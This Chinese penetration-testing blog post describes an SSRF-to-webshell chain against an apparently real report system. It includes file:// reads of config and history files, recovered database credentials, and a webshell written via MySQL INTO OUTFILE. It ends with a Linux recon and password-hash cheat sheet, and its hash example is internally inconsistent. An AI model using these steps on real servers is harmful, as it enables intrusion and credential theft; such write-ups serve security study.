美文网首页
报表系统漏洞挖掘+Linux下相关信息探测

报表系统漏洞挖掘+Linux下相关信息探测

作者: AxisX | 来源:发表于2020-06-11 10:57 被阅读0次

    【本文只限于学习,请勿进行恶意攻击】
    之前挖了一个报表系统的SSRF漏洞,没有限制相关的协议,先探测了一下Redis发现没开,然后用file协议读取了相关的文件,如/etc/passwd,/.bash_history等,在bash_history中,有很多记录,通过file对记录中路径的文件名进行内容查询可以得到一些相关信息

    (1)vi /opt/php5.6/etc/php.ini
    PHP版本5.6
    
    (2)/opt/apache2.4/conf/httpd.conf
    Listen 80
    Listen 443
    Listen 8090  
    Listen 8091  
    Listen 9096
    <VirtualHost _default_:443>
       ServerName xmgl
       ErrorLog logs/https_error
       CustomLog logs/https_access common
       SSLEngine on
       #SSLMutex default
       SSLCertificateFile /opt/apache/conf/server.crt
       SSLCertificateKeyFile /opt/apache/conf/server.key
       SSLCertificateChainFile /opt/apache/conf/server-ca.crt
       #SSLCACertificateFile /opt/apache2/conf/ca.crt
       #SSLVerifyClient require
       #SSLVerifyDepth 1
       #DocumentRoot /opt/apache/conf
       DocumentRoot  /opt/webdata/www  =>得到网站根目录
    </VirtualHost>
    
    (3)/opt/webdata/www/.../access_token.php 为防止恶意用途对Token进行一定省略
    <?php exit();?>{"expire_time":1590728461,"access_token":"33_KdzEiKFqb8uDaByhAKuXFtv..."} 
    
    (4)/opt/webdata/www/data/config/uc_config.php 
    /opt/webdata/www/data/config/db.php
    define('UC_CONNECT', 'mysql');
    define('UC_DBHOST', '127.0.0.1');
    define('UC_DBUSER', 'XXX');
    define('UC_DBPW', 'XXXXXX');
    define('UC_DBNAME', 'XXXX_2');
    define('UC_DBCHARSET', 'utf8');
    define('UC_DBTABLEPRE');
    define('UC_DBCONNECT', '0');
    define('UC_KEY');
    define('UC_API');
    define('UC_CHARSET', 'utf-8');
    define('UC_IP', '');
    define('UC_APPID', '4');
    define('UC_PPP', '20');
    define('COOKIE_DOMIAN'');
    

    既然有数据库配置信息http://XXX.com?url=http://127.0.0.1:3306,得到了回显

    N   
    5.5.36-log 韉L�v=l)&"vO ?� �€�          g;,kXX1)yI>; mysql_native_password !  �?#08S01Got packets out of order
    

    既得到了数据库版本也证明了3306可以访问。
    根据文件中得到的Ip地址、用户名、密码,通过3306端口,本地Navicat可以直接连接上数据库。然后通过Mysql上传木马

    SELECT '<?php phpinfo(); ?>' into outfile '/opt/webdata/www/.../back.php';
    

    这个上传路径要选择一个前台可访问的路径。这样访问木马即可看到phpinfo的相关信息,phpinfo中的相关信息有很多内容,例如PHP版本、内核版本、配置文件信息、支持的PHP流过滤器、Core中显示的是否能进行文件包含、是否有错误提示(display_errors)、能否动态加载(enable_dl)、文件包含时的默认路径(include_path)、文件读取时的目录限制(open_basedir)、是否支持短标签(在写shell时有帮助)等。

    服务器上同时部署了PHP项目和Java项目,现在PHP可以搞定,但是PHP的木马没有Java权限搞。找到Java中可访问的目录同样用数据库的方式写入木马,访问即可getshell。一些渗透最基础的知识罗列在下面。慢慢补充。

    1. Linux密码基础知识

    Linux密码信息保存在两个文件中,分别为:/etc/passwd/etc/shadow,前者可以使用普通用户权限进行查看,后者只有root用户权限才能查看,保存加密后的密码和用户的相关密码信息

    (1)/etc/passwd:每一行代表一个用户,每一行通过冒号分为七个部分

    1 用户名:2 密码:3 UID(0代表root):4 GID:5 描述信息:6 用户主目录:7 默认shell类型
    root:x:0:0:root:/root:/bin/bash
    
    ps:密码如果是x意味着保存在/etc/shadow
    

    (2)/etc/shadow,每一行代表一个用户,每一行通过冒号分为九个部分

    1 用户名:2 加密后的密码:3 上次修改密码的时间:4 两次修改密码间隔的最少天数(为0,则没有限制):
    5 两次修改密码间隔最多的天数(表示该用户的密码会在多少天后过期,如果为99999则没有限制):
    6 提前多少天警告用户密码将过期:7 在密码过期之后多少天禁用此用户:
    8 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用:9 保留
    
    root:$6$idQ/7/ks6M$BH82/f3xFiWTg6iIdXR68VGh1kA8GPKNG8u8eQW8hdwkhuGC.SLIslNiJ9Spk.6dGxhgA0wBYjII.kKEJXO7..:18075:0:99999:7:::
    

    需要注意的是这里的3修改密码的时间是从1970.1.1开始的总天数,可以看到示例密码从1970.1.1开始的总天数为18075,密码间隔没有限制(0),最多天数没有限制,提前7天警告用户密码将过期,该用户可永久使用(保留)。
    另外2密码是加密过的,其加密格式为$ ID $ SALT $ ENCRYPTEDSALT为随机字符串(最长不超16),ENCRYPTED是密码的Hash值。ID值有如下几种:

    ID=1:MD5(hash长度22)
    ID=5:SHA-256(hash长度43)
    ID=6:SHA-512(hash长度86)
    ID=2:blowfish 加密算法
    

    以MD5为例,其密码生成过程模仿如下,假设密码为hello123,再生成随机数randomSalt(假设为8位),最后生成hash值。

    import random
    import string
    import crypt
    
    Passwd= ' hello123 ' 
    randomSalt = '' .join(random.sample(string.ascii_letters, 8 ))
    
    #产生SHA-512密码hash 
    Hash = crypt.crypt(Passwd, ' $6$%s$ ' % randomSalt)
    
    print (Hash) #$1$ympviwQO$ypOVhoNbR/5uXgtk9NZVA/
    

    John the ripper1.8.0版本,服务上跑破解一波,没跑出SHA-512的root密码

    2. Linux目录文件

    Linux根目录主要包括如下

    /boot:操作系统启动时要用到的程序。
    /dev:包含了所有 Linux 系统中使用的外部设备。需要注意的是这里并不是存放外部设备的驱动程序,而是一个访问这些设备的端口。
    /etc:存放系统管理时要用到的各种配置文件和子目录。
    /etc/rc.d:存放 Linux 启动和关闭时要用到的脚本。
    /home:普通用户的主目录。
    /lib、/lib64:链接到 /usr/lib,存放系统及软件需要的动态链接共享库。
    /mnt:这个目录让用户可以临时挂载其他的文件系统。
    /proc:虚拟的目录,是系统内存的映射。可直接访问这个目录来获取系统信息。
    /root:系统管理员的主目录。
    /srv:存放一些服务启动之后需要提取的数据。
    /sys:该目录下安装了一个文件系统 sysfs。该文件系统是内核设备树的一个直观反映。当一个内核对象被创建时,对应的文件和目录也在内核对象子系统中被创建。
    /tmp:公用的临时文件存放目录。
    /usr:应用程序和文件几乎都在这个目录下。
    /usr/src:内核源代码的存放目录。
    /var:存放了很多服务的日志信息。
    

    2.1 /etc/passwd

    那么从Linux文件的角度再来看一下上文所述的/etc/passwd,每行代表了一个用户,但其中大多数都是系统或服务运行所需的伪用户,不能用于登录系统也不能被删除,否则会导致系统问题。

    1 用户名:2 密码:3 UID(0代表root):4 GID:5 描述信息:6 用户主目录:7 默认shell类型
    root:x:0:0:root:/root:/bin/bash
    

    密码X:/etc/passwd文件对所有用户都可读代表着不安全,许多Linux系统都使用了shadow技术,把真正的加密后的用户口令字存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放一个特殊的字符,例如“x”或者“*”。
    用户标识号UID:一个整数,用来标识用户。一般情况下它与用户名是一一对应的。如果几个用户名对应的用户标识号是一样的,系统内部将把它们视为同一个用户,但是它们可以有不同的口令、不同的主目录以及不同的登录Shell等。UID取值范围是0-65535。0是超级用户root的标识号,1-99由系统保留,作为管理账号,普通用户的标识号从100开始。在Linux系统中,这个界限是500。组标识号GID:字段记录的是用户所属的用户组。它对应着/etc/group文件中的一条记录。
    登录Shell:用户登录后,要启动一个进程,负责将用户的操作传给内核,这个进程是用户登录到系统后运行的命令解释器或某个特定的程序,即Shell。Shell是用户与Linux系统之间的接口。Linux的Shell有许多种,每种都有不同的特点。常用的有sh、csh、ksh、tcsh、bash等。可指定Shell,如果不指定则默认为sh,所以这个字段的值为/bin/sh。

    2.2 其他文件

    (1)/etc/host,主机名和IP配置文件
    hosts文件是Linux系统中一个负责IP地址与域名快速解析的文件,以ASCII格式保存在“/etc”目录下,Debian中该文件命名为/etc/hostname,系统上所有的网络程序都可以通过该文件来解析对于某个主机名的IP地址,否则需要用DNS来解决。通常可以将常用的域名和IP地址映射加入到hosts文件中,实现快速方便的访问。

    一般情况下hosts文件的每行为一个主机,每行由空格分隔成三部分,#号开头的行为注解行。其格式如IP地址 主机名/域名 主机名别名

    (2)Apache服务相关文件【待检验】
    Apache服务安装方式可分为RPM包安装和源代码安装两种,采用RPM包安装,默认情况下/usr用来存放应用程序,/etc/httpd/conf/httpd.conf存放配置文件。采用源代码安装默认在/usr/local/apache,其配置文件在 /usr/local/apache/conf/httpd.conf

    /etc/httpd/:Apache服务器的根目录 
    /etc/httpd/conf/httpd.conf:Apache服务器的主配置文件,其中包含指定文档root的配置 
    /var/www/html/:Apache服务器的文档根目录  即网站的常用的默认根目录
    /etc/init.d/httpd:Apache服务器启动脚本文件 
    /var/log/httpd/access_log:Apache服务器的访问日志文件 
    /var/log/httpd/error_log:Apache服务器的错误日志文件 
    

    (3)PHP
    一般Apache安装php后,php配置文件默认加载位置在php/lib/文件夹下,采用RPM包安装可能在/etc/目录下,配置文件/etc/php.ini。如果是用源代码安装,一般在 /usr/local/lib目录下,配置文件 /usr/local/lib/php.ini/usr/local/php/lib/php.ini/usr/local/php/etc/php.ini/usr/local/apache2/conf/php.ini

    Linux下常用命令

    pwd:查询当前目录
    ‘~’:home目录
    '.':当前目录    '..':上层目录     '/':根目录
    ls -a:查看所有    ls -l 文件夹/:查看文件夹里面的文件或目录
    touch .test:创建一个名为.test的文件
    mkdir:创建目录
    more test:查看更多    tail test:查看末尾    head test:查看头几行
    tree 文件夹名:查看文件夹的树结构
    find / -name 'yum.log':从根(/)目录开始找yum.log的文件,也可'*.log'通配,路径可以根据实际情况写如 find /var/ -name 'index.php'
    find / -size +10M | xargs ls -lh 找出大于10M的文件并查看结果的详细信息
    which ps 或type ps 可找到ps位置
    history:查看用过的命令
    
    查看系统版本
    cat /etc/*-release
    cat /etc/redhat-release
    查看内核版本
    cat /proc/version  
    uname -a
    uname -mrs
    rpm -q kernel
    dmesg | grep Linux
    查看环境变量
    env
    set
    查看运行服务(如果要看root权限下的,就在后面加入| grep root)
    ps aux
    ps -ef
    安装的应用与版本
    ls -alh /usr/bin/
    rpm -qa
    信息与用户
    id、who、w、last
    敏感文件
    cat /etc/passwd
    cat /etc/group
    cat /etc/shadow
    用户操作记录
    cat ~/.bash_history
    cat ~/.mysql_history
    cat ~/.php_history
    

    phpstudy套件

    网站默认路径
    C:\phpstudy\www
    httpd.conf配置文件
    C:\phpStudy\Apache\conf\httpd.conf
    vhosts.conf虚拟主机
    C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf
    

    LAMPP套件

    网站默认路径
    /opt/lampp/htdocs
    httpd.conf配置文件
    /opt/lampp/etc/httpd.conf
    vhosts.conf虚拟主机
    /opt/lampp/etc/extra/httpd-vhosts.conf
    

    XAMPP

    /opt/lampp/bin/ XAMPP 命令库。例如 /opt/lampp/bin/mysql 可执行 MySQL 监视器。
    /opt/lampp/htdocs/  Apache 文档根目录。
    /opt/lampp/etc/httpd.conf   Apache 配制文件。
    /opt/lampp/etc/my.cnf   MySQL 配制文件。
    /opt/lampp/etc/php.ini  PHP 配制文件。
    /opt/lampp/etc/proftpd.conf ProFTPD 配制文件。(从 0.9.5 版开始)
    /opt/lampp/phpmyadmin/config.inc.php    
    phpMyAdmin 配制文件。
    

    相关文章

      网友评论

          本文标题:报表系统漏洞挖掘+Linux下相关信息探测

          本文链接:https://www.haomeiwen.com/subject/oglaahtx.html